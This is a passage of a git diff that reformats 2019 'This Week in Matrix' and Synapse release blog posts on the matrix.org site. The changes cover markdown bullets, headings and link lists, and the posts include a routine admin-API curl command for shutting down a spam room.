([\#5701](https://github.com/matrix-org/synapse/issues/5701)) You can get the new update [here](https://github.com/matrix-org/synapse/releases/tag/v1.2.1) or any of the sources mentioned at [https://github.com/matrix-org/synapse](https://github.com/matrix-org/synapse). Alternatively check out our [Synapse installation guide page](https://matrix.org/docs/guides/installing-synapse) - Thanks for bearing with us. diff --git a/content/blog/2019/07/2019-07-26-this-week-in-matrix-2019-07-26.md b/content/blog/2019/07/2019-07-26-this-week-in-matrix-2019-07-26.md index b81c7a3bd..396afc25a 100644 --- a/content/blog/2019/07/2019-07-26-this-week-in-matrix-2019-07-26.md +++ b/content/blog/2019/07/2019-07-26-this-week-in-matrix-2019-07-26.md @@ -10,7 +10,7 @@ category = ["This Week in Matrix"] image = "https://matrix.org/blog/img/2019-07-26-spectral.png" +++ -## Matrix Live - demos! +## Matrix Live - demos We had a great demo session this afternoon, unfortunately the recording quality for some of the items was not good enough to share - and it was interesting stuff too! I cut everything from the RiotX and Riot iOS sections - but we'll make it up to you by getting more news from those projects soon. @@ -84,12 +84,12 @@ From [Wilko], project lead: > Note that for TestFlight the new version will be available in a few days. > > * Improve scrolling through chat messages! -> * Messages are now paginated under the hood, before the whole message list was rebuild when loading more messages, causing a jittery scrolling experience. +> * Messages are now paginated under the hood, before the whole message list was rebuild when loading more messages, causing a jittery scrolling experience. > * Support typing notifications! -> * Typing notifications are shown and send while typing. +> * Typing notifications are shown and send while typing. > * Add chat settings screen -> * Currently you can see the chat name, avatar, description and members. More will be added in the future. -> * You can go to the chat settings screen by clicking on the title of the chat. This'll probably change in the future (at least to be easier). +> * Currently you can see the chat name, avatar, description and members. More will be added in the future. +> * You can go to the chat settings screen by clicking on the title of the chat. This'll probably change in the future (at least to be easier). > * Reverse swipe direction of images (thanks Nathan!) > * Fix ripple not showing on send button > * Make UI refreshing more efficient @@ -102,7 +102,7 @@ What's coming up? > * A release on Google Play! > * A release on the official F-droid repo! > * Remove Cupertino specific styling on iOS -> * Will now use Material Design, but altered for iOS. Having the discrepancy between Cupertino and Material was also the reason why some things didn't show up in iOS or why some things would be blue instead of the Pattle red. +> * Will now use Material Design, but altered for iOS. Having the discrepancy between Cupertino and Material was also the reason why some things didn't show up in iOS or why some things would be blue instead of the Pattle red. > * Notifications!? (F-droid) Follow development in [#app:pattle.im](https://matrix.to/#/#app:pattle.im)! @@ -249,8 +249,6 @@ See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [kitsune]: https://matrix.to/#/@kitsune:matrix.org [libQMatrixClient]: https://github.com/QMatrixClient/libqmatrixclient [ma1uta]: https://matrix.to/#/@ma1uta:matrix.org -[matrix-appservice-slack]: https://github.com/matrix-org/matrix-appservice-slack -[opsdroid]: https://opsdroid.github.io/ [poljar]: https://github.com/poljar [Quaternion]: https://github.com/QMatrixClient/Quaternion [SolarDrew]: https://matrix.to/#/@SolarDrew:matrix.org @@ -260,7 +258,6 @@ See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [Willem]: https://matrix.to/#/@willem:canarymod.net [pantalaimon]: https://github.com/matrix-org/pantalaimon [Eisha]: https://matrix.to/#/@eisha:matrix.org -[wilko]: https://matrix.to/#/@wilko:pattle.im [kai]: https://matrix.to/#/@kai:nasnotfound.de [Jimmy]: https://matrix.to/#/@jimmycuadra:matrix.org [#matrix-shell-suite:matrix.org]: https://matrix.to/#/#matrix-shell-suite:matrix.org diff --git a/content/blog/2019/08/2019-08-02-this-week-in-matrix-2019-08-02.md b/content/blog/2019/08/2019-08-02-this-week-in-matrix-2019-08-02.md index 05dd6fea1..a5ce3829d 100644 --- a/content/blog/2019/08/2019-08-02-this-week-in-matrix-2019-08-02.md +++ b/content/blog/2019/08/2019-08-02-this-week-in-matrix-2019-08-02.md @@ -20,15 +20,18 @@ I chatted to Rick about the new Small instances available on [modular.im]. ## Dept of Spec 📜 + **Approved MSCs** *No MSCs have been approved.* + **Final Comment Period** * [[MSC 2134]: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134) * [[MSC 2174]: Move the `redacts` key to a sane place](https://github.com/matrix-org/matrix-doc/pull/2174) + **In Progress MSCs** * [[MSC 2192]: Inline widgets (including polls and buttons)](https://github.com/matrix-org/matrix-doc/pull/2192) @@ -65,7 +68,7 @@ I chatted to Rick about the new Small instances available on [modular.im]. > * Room tagging [implemented](https://github.com/matrix-org/dendrite/pull/694) (thanks [peekay_46](https://matrix.to/#/@peekay_46:matrix.org)!) > * [A PR](https://github.com/matrix-org/dendrite/pull/768) for redactions opened by our GSoC student [cnly](https://matrix.to/#/@cnly:matrix.org) > * [A PR](https://github.com/matrix-org/dendrite/pull/405) for authentication fallback (for when clients don’t have a web browser built in and want to use recaptcha from [trion129](https://matrix.to/#/@trion129:matrix.org) -> * This has been in the works for a while, and just has a couple small changes left to go! +> * This has been in the works for a while, and just has a couple small changes left to go! > * [Two](https://github.com/matrix-org/dendrite/pull/438) [PRs](https://github.com/matrix-org/dendrite/pull/513) for filtering database functionality from [CromFr](https://matrix.to/#/@CromFr:matrix.org) > * [A PR](https://github.com/matrix-org/dendrite/pull/772) for fixing the scope of transaction IDs in Dendrite’s transaction cache from [cnly](https://matrix.to/#/@cnly:matrix.org) > @@ -95,7 +98,7 @@ I chatted to Rick about the new Small instances available on [modular.im]. Changelog: -``` +```txt New features: Adaptive window, mobile friendly @@ -127,16 +130,16 @@ Under the hood: Many improvements to the build system and CI ``` -### Neo huge update! +### Neo huge update [joepie91](https://matrix.to/#/@joepie91:pixie.town): > Lots of news about [Neo](https://neo.pixie.town/app/)! > -> - There's now an additional maintainer ([joepie91](https://matrix.to/#/@joepie91:pixie.town))! -> - A lot of the internals have been refactored, so they should be more maintainable and reliable going forward. Also some future work planned on refactoring the state handling using Redux, which should make it *much* faster to fix issues and add new features in the future. There are even some ideas already for a future plugin API! -> - Display has been improved in a lot of places. Error messages are now more clearly formatted, images in reply-quotes are now shown as thumbnails rather than just a filename, and the reply-to popup now shows the full event that you're replying to properly. The chat window now correctly sticks to the bottom when you're scrolled to the end and receive new messages, even when an image or video loads - though per-room scroll position restoration isn't done yet. -> - There's now an experimental compact mode! It uses a more IRC-client-like layout for messages, and generally just fits more content onto the screen. It can be enabled with an [experimental flag](https://git.pixie.town/neo/neo#experimental-features). A screenshot of the compact mode can be found [here](https://i.imgur.com/2dLyQ49.png). +> * There's now an additional maintainer ([joepie91](https://matrix.to/#/@joepie91:pixie.town))! +> * A lot of the internals have been refactored, so they should be more maintainable and reliable going forward. Also some future work planned on refactoring the state handling using Redux, which should make it *much* faster to fix issues and add new features in the future. There are even some ideas already for a future plugin API! +> * Display has been improved in a lot of places. Error messages are now more clearly formatted, images in reply-quotes are now shown as thumbnails rather than just a filename, and the reply-to popup now shows the full event that you're replying to properly. The chat window now correctly sticks to the bottom when you're scrolled to the end and receive new messages, even when an image or video loads - though per-room scroll position restoration isn't done yet. +> * There's now an experimental compact mode! It uses a more IRC-client-like layout for messages, and generally just fits more content onto the screen. It can be enabled with an [experimental flag](https://git.pixie.town/neo/neo#experimental-features). A screenshot of the compact mode can be found [here](https://i.imgur.com/2dLyQ49.png). You can try the compact mode at . @@ -237,7 +240,6 @@ So that's all I have to say to you right now! See you next week, and be sure to [ananace]: https://github.com/ananace/ [anoa]: https://matrix.to/#/@andrewm:amorgan.xyz [continuum]: https://github.com/koma-im/continuum-desktop -[CromFr]: https://matrix.to/#/@CromFr:matrix.org [Half-Shot]: https://matrix.to/#/@Half-Shot:half-shot.uk [jaywink]: https://matrix.to/#/@jaywink:feneas.org [jcgruenhage]: https://matrix.to/#/@jan.christian:gruenhage.xyz @@ -245,16 +247,12 @@ So that's all I have to say to you right now! See you next week, and be sure to [koma]: https://github.com/koma-im/koma/ [maubot]: https://github.com/maubot/maubot [modular.im]: https://www.modular.im/ -[neo]: https://git.lain.haus/f0x/iris [nheko]: https://github.com/mujx/nheko [tulir]: https://matrix.to/#/@tulir:maunium.net [Wilko]: https://matrix.to/#/@wilko:matrix.org [yuforia]: https://matrix.to/#/@uforia:matrix.org [libQuotient]: https://github.com/quotient-im/libQuotient [aa13q]: https://matrix.to/#/@aa13q:matrix.org -[wilko]: https://matrix.to/#/@wilko:pattle.im -[Cnly]: https://matrix.to/#/@cnly:matrix.org -[kai]: https://matrix.to/#/@kai:nasnotfound.de [Tim]: https://matrix.to/#/@thosgood:matrix.org [#jwt-bot:famedly.de]: https://matrix.to/#/#jwt-bot:famedly.de [#cli_federation-tester_de:matrix.chat-secure.de]: https://matrix.to/#/#cli_federation-tester_de:matrix.chat-secure.de diff --git a/content/blog/2019/08/2019-08-09-this-week-in-matrix-2019-08-09.md b/content/blog/2019/08/2019-08-09-this-week-in-matrix-2019-08-09.md index 0dd73b85e..2bdf96b05 100644 --- a/content/blog/2019/08/2019-08-09-this-week-in-matrix-2019-08-09.md +++ b/content/blog/2019/08/2019-08-09-this-week-in-matrix-2019-08-09.md @@ -43,14 +43,18 @@ Visit [#FrOSCon2019:froscon2019.fiksel.info](https://matrix.to/#/#FrOSCon2019:fr ## Dept of Spec 📜 + **Approved MSCs** [[MSC 2134]: MSC2134: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134) 🎉 + **Final Comment Period** + *No MSCs have entered FCP* + **In Progress MSCs** [[MSC 2213]: Rejoinability of private/invite-only rooms](https://github.com/matrix-org/matrix-doc/pull/2213) @@ -67,13 +71,13 @@ Huge update from Andrew: > Of note are the following merged PRs: > > * [Implement client single event retrieval - #671](https://github.com/matrix-org/dendrite/pull/693) -> * You can now request a single event from Dendrite’s DB, assuming you have permission to view it. +> * You can now request a single event from Dendrite’s DB, assuming you have permission to view it. > * [Account data events filtering database API](https://github.com/matrix-org/dendrite/pull/513) and [State events filtering database api](https://github.com/matrix-org/dendrite/pull/438) -> * Very old PRs from CromFR have been updated and finally merged! These lay the groundwork for providing filters across various API endpoints (used in search, /sync, etc) +> * Very old PRs from CromFR have been updated and finally merged! These lay the groundwork for providing filters across various API endpoints (used in search, /sync, etc) > * [Add typingserver service to docker-compose](https://github.com/matrix-org/dendrite/pull/692) -> * Another fairly old PR by [viccuad](https://github.com/viccuad) (their first for Dendrite!) finally reviewed and merged. +> * Another fairly old PR by [viccuad](https://github.com/viccuad) (their first for Dendrite!) finally reviewed and merged. > * [Fix permission and 404 response for alias deletion - #654](https://github.com/matrix-org/dendrite/pull/706), [Replace membership and visibility values with constants](https://github.com/matrix-org/dendrite/pull/774), [Implement profile retrieval over federation - fixes #651](https://github.com/matrix-org/dendrite/pull/726) (this one is very useful), and [Fix transaction IDs in transaction cache have global scope](https://github.com/matrix-org/dendrite/pull/772) -> * A myriad of changes and fixes by cnly +> * A myriad of changes and fixes by cnly > > We also have a number of PRs that were moved forward but not merged. [Add auth fallback endpoint](https://github.com/matrix-org/dendrite/pull/405) (our oldest PR at the moment!) which we mentioned last week is so very close, but not quite there in time for this TWIM. > @@ -83,7 +87,7 @@ Huge update from Andrew: From Neil: -> The big news this week we’ve landed some massive DB improvements (https://github.com/matrix-org/synapse/pull/5706) which should make message sending on matrix.org (and any other server) feel noticeably snappier. :) It'll be in the next release. +> The big news this week we’ve landed some massive DB improvements () which should make message sending on matrix.org (and any other server) feel noticeably snappier. :) It'll be in the next release. > > Outside of perf, we’ve also been continuing with our privacy project, sydent now supports hashing third party identifiers instead of storing the raw form, and in the coming week we’ll look at minimising the meta data we store. You can track our progress across the full project here () > @@ -119,7 +123,7 @@ Does the video include time spent waiting for `async` to land in Rust? ## Dept of Clients 📱 -### Continuum progressing! +### Continuum progressing I love getting updates from [yuforia] - they've been consistently working on [Continuum] for some time, and by increments are making a great client. @@ -270,7 +274,6 @@ So that's all I have to say to you right now! See you next week, and be sure to [kitsune]: https://matrix.to/#/@kitsune:matrix.org [ma1uta]: https://matrix.to/#/@ma1uta:matrix.org [matrix-docker-ansible-deploy]: https://github.com/spantaleev/matrix-docker-ansible-deploy -[mautrix-python]: https://github.com/tulir/mautrix-python [mautrix-telegram]: https://github.com/tulir/mautrix-telegram [Slavi]: https://matrix.to/#/@slavi:devture.com [TravisR]: https://github.com/turt2live diff --git a/content/blog/2019/08/2019-08-15-synapse-1-3-0-released.md b/content/blog/2019/08/2019-08-15-synapse-1-3-0-released.md index 7b3b91edf..40acd5e7e 100644 --- a/content/blog/2019/08/2019-08-15-synapse-1-3-0-released.md +++ b/content/blog/2019/08/2019-08-15-synapse-1-3-0-released.md @@ -18,28 +18,22 @@ Check out our message send heat map. ![Message Send](/blog/img/2019-08-15-message-send.png) - Other than that there are a bunch of bug fixes and tweaks to generally make things run more smoothly. As ever, you can get the new update [here](https://github.com/matrix-org/synapse/releases/tag/v1.3.0) or any of the sources mentioned at [https://github.com/matrix-org/synapse](https://github.com/matrix-org/synapse). Also, check out our [Synapse installation guide page](https://matrix.org/docs/guides/installing-synapse) The changelog since 1.2.1 follows: -Synapse 1.3.0 (2019-08-15) -========================== +## Synapse 1.3.0 (2019-08-15) -Bugfixes --------- +### Bugfixes - Fix 500 Internal Server Error on `publicRooms` when the public room list was cached. ([\#5851](https://github.com/matrix-org/synapse/issues/5851)) +## Synapse 1.3.0rc1 (2019-08-13) -Synapse 1.3.0rc1 (2019-08-13) -========================== - -Features --------- +### Features - Use `M_USER_DEACTIVATED` instead of `M_UNKNOWN` for errcode when a deactivated user attempts to login. ([\#5686](https://github.com/matrix-org/synapse/issues/5686)) - Add sd_notify hooks to ease systemd integration and allows usage of Type=Notify. ([\#5732](https://github.com/matrix-org/synapse/issues/5732)) @@ -47,9 +41,7 @@ Features - Synapse can now be configured to not join remote rooms of a given "complexity" (currently, state events) over federation. This option can be used to prevent adverse performance on resource-constrained homeservers. ([\#5783](https://github.com/matrix-org/synapse/issues/5783)) - Allow defining HTML templates to serve the user on account renewal attempt when using the account validity feature. ([\#5807](https://github.com/matrix-org/synapse/issues/5807)) - -Bugfixes --------- +### Bugfixes - Fix UISIs during homeserver outage. ([\#5693](https://github.com/matrix-org/synapse/issues/5693), [\#5789](https://github.com/matrix-org/synapse/issues/5789)) - Fix stack overflow in server key lookup code. ([\#5724](https://github.com/matrix-org/synapse/issues/5724)) @@ -63,16 +55,12 @@ Bugfixes - Fix bug where user `/sync` stream could get wedged in rare circumstances. ([\#5825](https://github.com/matrix-org/synapse/issues/5825)) - The purge_remote_media.sh script was fixed. ([\#5839](https://github.com/matrix-org/synapse/issues/5839)) - -Deprecations and Removals -------------------------- +### Deprecations and Removals - Synapse now no longer accepts the `-v`/`--verbose`, `-f`/`--log-file`, or `--log-config` command line flags, and removes the deprecated `verbose` and `log_file` configuration file options. Users of these options should migrate their options into the dedicated log configuration. ([\#5678](https://github.com/matrix-org/synapse/issues/5678), [\#5729](https://github.com/matrix-org/synapse/issues/5729)) - Remove non-functional 'expire_access_token' setting. ([\#5782](https://github.com/matrix-org/synapse/issues/5782)) - -Internal Changes ----------------- +### Internal Changes - Make Jaeger fully configurable. ([\#5694](https://github.com/matrix-org/synapse/issues/5694)) - Add precautionary measures to prevent future abuse of `window.opener` in default welcome page. ([\#5695](https://github.com/matrix-org/synapse/issues/5695)) diff --git a/content/blog/2019/08/2019-08-16-this-week-in-matrix-2019-08-16.md b/content/blog/2019/08/2019-08-16-this-week-in-matrix-2019-08-16.md index c53669737..f189384c7 100644 --- a/content/blog/2019/08/2019-08-16-this-week-in-matrix-2019-08-16.md +++ b/content/blog/2019/08/2019-08-16-this-week-in-matrix-2019-08-16.md @@ -18,32 +18,32 @@ In which Matthew talks about: > Synapse > -> - perf speedup -> - installer -> - turn tester -> - extremities fix by default -> - security work -> - privacy work +> - perf speedup +> - installer +> - turn tester +> - extremities fix by default +> - security work +> - privacy work > > Riot > -> - privacy; IS and IM permissions and management. Hashed lookup API. Metadata cleanup (GCing redactions; deleting media; history retention); TURN management -> - aggregations paused -> - FTUE next up -> - Cross-signing -> - Immutable DMs -> - ...then communities +> - privacy; IS and IM permissions and management. Hashed lookup API. Metadata cleanup (GCing redactions; deleting media; history retention); TURN management +> - aggregations paused +> - FTUE next up +> - Cross-signing +> - Immutable DMs +> - ...then communities > > RiotX > -> - 0.3 came out last week - handles DMs; lots of polishing; reduces the APK down to ~10MB! +> - 0.3 came out last week - handles DMs; lots of polishing; reduces the APK down to ~10MB! > > Bridges > -> - moving stuff into proper managed infrastructure -> - bifrost should be back soon? -> - gitter kept breaking but we're actually working with their team to fix that -> - working out how to automate deploying them on modular hosts +> - moving stuff into proper managed infrastructure +> - bifrost should be back soon? +> - gitter kept breaking but we're actually working with their team to fix that +> - working out how to automate deploying them on modular hosts ## Dept of Spec 📜 @@ -53,15 +53,15 @@ In which Matthew talks about: ### Final Comment Period -* [MSC2229: Allowing 3PID Owners to Rebind](https://github.com/matrix-org/matrix-doc/pull/2229) -* [MSC2230: Store Identity Server in Account Data](https://github.com/matrix-org/matrix-doc/pull/2230) -* [MSC2010: Add client-side spoilers](https://github.com/matrix-org/matrix-doc/pull/2010) -* [MSC2197: Search Filtering in Federation /publicRooms](https://github.com/matrix-org/matrix-doc/pull/2197) +- [MSC2229: Allowing 3PID Owners to Rebind](https://github.com/matrix-org/matrix-doc/pull/2229) +- [MSC2230: Store Identity Server in Account Data](https://github.com/matrix-org/matrix-doc/pull/2230) +- [MSC2010: Add client-side spoilers](https://github.com/matrix-org/matrix-doc/pull/2010) +- [MSC2197: Search Filtering in Federation /publicRooms](https://github.com/matrix-org/matrix-doc/pull/2197) ### In Progress MSCs -* [MSC2228: Self destructing events](https://github.com/matrix-org/matrix-doc/pull/2228) -* [MSC2233: Unauthenticated Capabilities API](https://github.com/matrix-org/matrix-doc/pull/2233) +- [MSC2228: Self destructing events](https://github.com/matrix-org/matrix-doc/pull/2228) +- [MSC2233: Unauthenticated Capabilities API](https://github.com/matrix-org/matrix-doc/pull/2233) ## Dept of Servers 🏢 @@ -130,9 +130,9 @@ Synapse 1.3.0 was released - check out [the blog post](https://matrix.org/blog/2 From the team: -> * Privacy work continues -> * STUN fallback server for assisting with voice & video call negotiation (only used when your homeserver is not configured with it’s own TURN server) changed from Google to Matrix.org server and a prompt has been added to request permission before using the fallback server -> * Many small steps towards supporting user choice of identity servers and integration managers, including no identity server at all +> - Privacy work continues +> - STUN fallback server for assisting with voice & video call negotiation (only used when your homeserver is not configured with it’s own TURN server) changed from Google to Matrix.org server and a prompt has been added to request permission before using the fallback server +> - Many small steps towards supporting user choice of identity servers and integration managers, including no identity server at all ### Bluepill (Sailfish client) status update @@ -153,9 +153,9 @@ From the team: > [Continuum](https://github.com/koma-im/continuum-desktop): > -> * Reimplement ScrollBar for the message list view to make it more consistent with Riot Web. It has a flat appearance now and only appears when the mouse hovers over the list of messages. +> - Reimplement ScrollBar for the message list view to make it more consistent with Riot Web. It has a flat appearance now and only appears when the mouse hovers over the list of messages. > -> * Rewrite the list view partially to handle lists with several types of items more efficiently. The message list has text messages, images, membership updates, etc. Each type needs to be rendered differently, but items of the same type could reuse GUI components when they scroll into and out of view. +> - Rewrite the list view partially to handle lists with several types of items more efficiently. The message list has text messages, images, membership updates, etc. Each type needs to be rendered differently, but items of the same type could reuse GUI components when they scroll into and out of view. ## Dept of Ops 🛠 @@ -197,9 +197,9 @@ Anton ([@antonivan:matrix.org](https://matrix.to/#/@antonivan:matrix.org)) is wo > Video recording from the Matrix talk @ FrOSCon. > Video is in German slides in English. > -> * Video: -> * Slides: -> * Channel: [#FrOSCon:fiksel.info] +> - Video: +> - Slides: +> - Channel: [#FrOSCon:fiksel.info] @@ -222,19 +222,15 @@ See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [ananace]: https://github.com/ananace/ [andrewsh]: https://matrix.to/#/@andrew:shadura.me [@benpa:matrix.org]: https://matrix.to/#/@benpa:matrix.org -[continuum]: https://github.com/koma-im/continuum-desktop [Fractal]: https://wiki.gnome.org/Apps/Fractal [matrix-docker-ansible-deploy]: https://github.com/spantaleev/matrix-docker-ansible-deploy [matrix-bot-sdk]: https://github.com/turt2live/matrix-bot-sdk [mautrix-telegram]: https://github.com/tulir/mautrix-telegram [mautrix-whatsapp]: https://github.com/tulir/mautrix-whatsapp [Slavi]: https://matrix.to/#/@slavi:devture.com -[swedneck]: https://matrix.to/#/@swedneck:permaweb.io [Construct]: https://github.com/jevolk/charybdis -[tulir]: https://matrix.to/#/@tulir:maunium.net [yuforia]: https://matrix.to/#/@uforia:matrix.org [Cy8aer]: https://matrix.to/#/@baer:g3la.de -[Jimmy]: https://matrix.to/#/@jimmycuadra:matrix.org [#construct:zemos.net]: https://matrix.to/#/#construct:zemos.net [mautrix-facebook]: https://github.com/tulir/mautrix-facebook [#FrOSCon:fiksel.info]: https://matrix.to/#/#FrOSCon:fiksel.info diff --git a/content/blog/2019/08/2019-08-17-synapse-1-3-1-released.md b/content/blog/2019/08/2019-08-17-synapse-1-3-1-released.md index 19c81c982..ef537bc17 100644 --- a/content/blog/2019/08/2019-08-17-synapse-1-3-1-released.md +++ b/content/blog/2019/08/2019-08-17-synapse-1-3-1-released.md @@ -17,16 +17,12 @@ As ever, you can get the new update [here](https://github.com/matrix-org/synapse The changelog since 1.3.0 follows: -Synapse 1.3.1 (2019-08-17) -========================== +## Synapse 1.3.1 (2019-08-17) -Features --------- +### Features - Drop hard dependency on `sdnotify` python package. ([\#5871](https://github.com/matrix-org/synapse/issues/5871)) - -Bugfixes --------- +### Bugfixes - Fix startup issue (hang on ACME provisioning) due to ordering of Twisted reactor startup. Thanks to @chrismoos for supplying the fix. ([\#5867](https://github.com/matrix-org/synapse/issues/5867)) diff --git a/content/blog/2019/08/2019-08-23-this-week-in-matrix-2019-08-23.md b/content/blog/2019/08/2019-08-23-this-week-in-matrix-2019-08-23.md index 45f6c16e6..83e3a465e 100644 --- a/content/blog/2019/08/2019-08-23-this-week-in-matrix-2019-08-23.md +++ b/content/blog/2019/08/2019-08-23-this-week-in-matrix-2019-08-23.md @@ -81,7 +81,7 @@ From the team: [Tim](https://matrix.to/#/@thosgood:matrix.org) offered: > I've hosted a version of riot with the changes from (for math support) built in so that people can test/use it if they want. It can be found at — please do let me know about any bugs you may find! -> there is now a room specifically for the LaTeX fork hosted on www.pigeon.digital where you can leave any feedback, report any bugs, or ask for any help: [#pigeon.digital:matrix.org](https://matrix.to/#/#pigeon.digital:matrix.org) +> there is now a room specifically for the LaTeX fork hosted on where you can leave any feedback, report any bugs, or ask for any help: [#pigeon.digital:matrix.org](https://matrix.to/#/#pigeon.digital:matrix.org) ### Pattle 0.11.0 released @@ -96,6 +96,7 @@ From the team: > Expect the new version to be on most platforms in 2 days (however, Google Play in a few hours). > > ### Changes +> > * Fix UI not updating on sync! > * Add ability to send images from your gallery! > * Use Material Design on iOS (although with slight changes to fit iOS) @@ -121,9 +122,9 @@ From the team: > ### Get Pattle > > * **Android** -> - **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** -> - **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** -> - **[APK](https://git.pattle.im/pattle/app/-/jobs/1211/artifacts/download)** +> * **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** +> * **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** +> * **[APK](https://git.pattle.im/pattle/app/-/jobs/1211/artifacts/download)** > * **[iOS (TestFlight)](https://testflight.apple.com/join/uTytydST)** > > ### Issues or suggestions diff --git a/content/blog/2019/08/2019-08-30-this-week-in-matrix-2019-08-30.md b/content/blog/2019/08/2019-08-30-this-week-in-matrix-2019-08-30.md index 7f16b9888..8a5138ad4 100644 --- a/content/blog/2019/08/2019-08-30-this-week-in-matrix-2019-08-30.md +++ b/content/blog/2019/08/2019-08-30-this-week-in-matrix-2019-08-30.md @@ -16,15 +16,18 @@ image = "https://matrix.org/blog/img/2019-08-30-continuum.png" ## Dept of Spec 📜 + **Approved MSCs** * [MSC1957: Integration manager discovery](https://github.com/matrix-org/matrix-doc/pull/195) + **Final Comment Period** * [MSC2263: Give homeservers the ability to handle their own 3PID registrations/password resets](https://github.com/matrix-org/matrix-doc/pull/2263) * [MSC2264: Add an unstable feature flag to MSC2140 for clients to detect support](https://github.com/matrix-org/matrix-doc/pull/2264) + **In Progress MSCs** * [MSC2246: Asynchronous media uploads](https://github.com/matrix-org/matrix-doc/pull/2246) @@ -79,11 +82,12 @@ Learn more in [#construct:zemos.net] > Now there is a twitter DM bridge based on [mx-puppet-bridge](https://github.com/Sorunome/mx-puppet-bridge)! It uses twitters webhook API to receive direct messages instantly. > > So far implemented: -> - basic message sending in both directions -> - Image, Gif and Video sending (twitter special-cases those) in both directions -> - twitter oauth to authenticate > -> Support room: [#mx-puppet-bridge:sorunome.de] +> * basic message sending in both directions +> * Image, Gif and Video sending (twitter special-cases those) in both directions +> * twitter oauth to authenticate +> +> Support room: [#mx-puppet-bridge:sorunome.de] > Donate on liberapay: ### Jojii email bridge NEW @@ -161,9 +165,9 @@ Go join [#jojiiMail:matrix.jojii.de](https://matrix.to/#/#jojiiMail:matrix.jojii > > * **Android** > -> - **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** -> - **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** -> - **[APK](https://git.pattle.im/pattle/app/-/jobs/1243/artifacts/download)** +> * **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** +> * **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** +> * **[APK](https://git.pattle.im/pattle/app/-/jobs/1243/artifacts/download)** > * **[iOS (TestFlight)](https://testflight.apple.com/join/uTytydST)** > > #### Issues or suggestions @@ -230,10 +234,12 @@ If you've suffered from invite spam lately, you can solve the problem by followi > There's 3 methods to block the room: > > 1. Use the synapse admin API for it: -> ```bash -> curl -s -X POST -H "Authorization: Bearer YOUR_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"new_room_user_id":"@abuse:YOUR_SERVER.org"}' 'https://YOUR_SERVER/_matrix/client/unstable/admin/shutdown_room/!BAD_ROOM:example.org' -> ``` -> 2. Block the room with an antispam module ( https://github.com/t2bot/synapse-simple-antispam ) +> +> ```bash +> curl -s -X POST -H "Authorization: Bearer YOUR_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"new_room_user_id":"@abuse:YOUR_SERVER.org"}' 'https://YOUR_SERVER/_matrix/client/unstable/admin/shutdown_room/!BAD_ROOM:example.org' +> ``` +> +> 2. Block the room with an antispam module ( ) > 3. Ignore the user with `/ignore` ## That's all I know 🏁 diff --git a/content/blog/2019/09/2019-09-06-this-week-in-matrix-2019-09-06.md b/content/blog/2019/09/2019-09-06-this-week-in-matrix-2019-09-06.md index 1343f6787..a9529679a 100644 --- a/content/blog/2019/09/2019-09-06-this-week-in-matrix-2019-09-06.md +++ b/content/blog/2019/09/2019-09-06-this-week-in-matrix-2019-09-06.md @@ -126,8 +126,8 @@ Also, if you're using please enable the new composer i > ### Get Pattle > > * **Android** -> * **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** -> * **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** +> * **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** +> * **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** > * **[iOS (TestFlight)](https://testflight.apple.com/join/uTytydST)** > > Please let me know what you think of the separation of personal and public chats! Currently it's implemented using a bottom navigation bar, but tabs could also be an option (which is closer to what WhatsApp does) @@ -197,17 +197,8 @@ See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [#TWIM:matrix.org]: https://matrix.to/#/#TWIM:matrix.org [@benpa:matrix.org]: https://matrix.to/#/@benpa:matrix.org -[continuum]: https://github.com/koma-im/continuum-desktop -[koma]: https://github.com/koma-im/koma/ [matrix-bot-sdk]: https://github.com/turt2live/matrix-bot-sdk -[matrix-media-repo]: https://github.com/turt2live/matrix-media-repo -[Pattle]: https://git.pattle.im/pattle/android [t2bot.io]: https://t2bot.io/ [Construct]: https://github.com/jevolk/charybdis -[TravisR]: https://github.com/turt2live -[tulir]: https://matrix.to/#/@tulir:maunium.net -[Wilko]: https://matrix.to/#/@wilko:matrix.org -[yuforia]: https://matrix.to/#/@uforia:matrix.org -[wilko]: https://matrix.to/#/@wilko:pattle.im [#construct:maunium.net]: https://matrix.to/#/#construct:maunium.net [shop.matrix.org]: https://shop.matrix.org diff --git a/content/blog/2019/09/2019-09-09-matrix-visualisations-final-report-g-so-c-2019.md b/content/blog/2019/09/2019-09-09-matrix-visualisations-final-report-g-so-c-2019.md index e663157d5..42fec597e 100644 --- a/content/blog/2019/09/2019-09-09-matrix-visualisations-final-report-g-so-c-2019.md +++ b/content/blog/2019/09/2019-09-09-matrix-visualisations-final-report-g-so-c-2019.md @@ -25,6 +25,7 @@ However, this is [the repository](https://github.com/Kagamihime/matrix-visualisa ### Complete the implementation of the CS API backend During the application period, I wrote a prototype for this project. This prototype implemented some requests to the CS API (like [/login](https://matrix.org/docs/spec/client_server/r0.5.0#get-matrix-client-r0-login), [/logout](https://matrix.org/docs/spec/client_server/r0.5.0#post-matrix-client-r0-logout) or [/sync](https://matrix.org/docs/spec/client_server/r0.5.0#get-matrix-client-r0-sync)) but there were more requests to implement in order to be able to fully use this API: + * In order for the application to automatically join (and leave at the end) a room if the provided account hasn’t already joined it, I implemented the requests to [/joined_rooms](https://matrix.org/docs/spec/client_server/r0.5.0#get-matrix-client-r0-joined-rooms), [/join](https://matrix.org/docs/spec/client_server/r0.5.0#post-matrix-client-r0-rooms-roomid-join) and [/leave](https://matrix.org/docs/spec/client_server/r0.5.0#post-matrix-client-r0-rooms-roomid-leave). * The request [/messages](https://matrix.org/docs/spec/client_server/r0.5.0#get-matrix-client-r0-rooms-roomid-messages) has been implemented to allow the application to fetch previous messages. * For retrieving in real-time new events, I used the field `from` in the 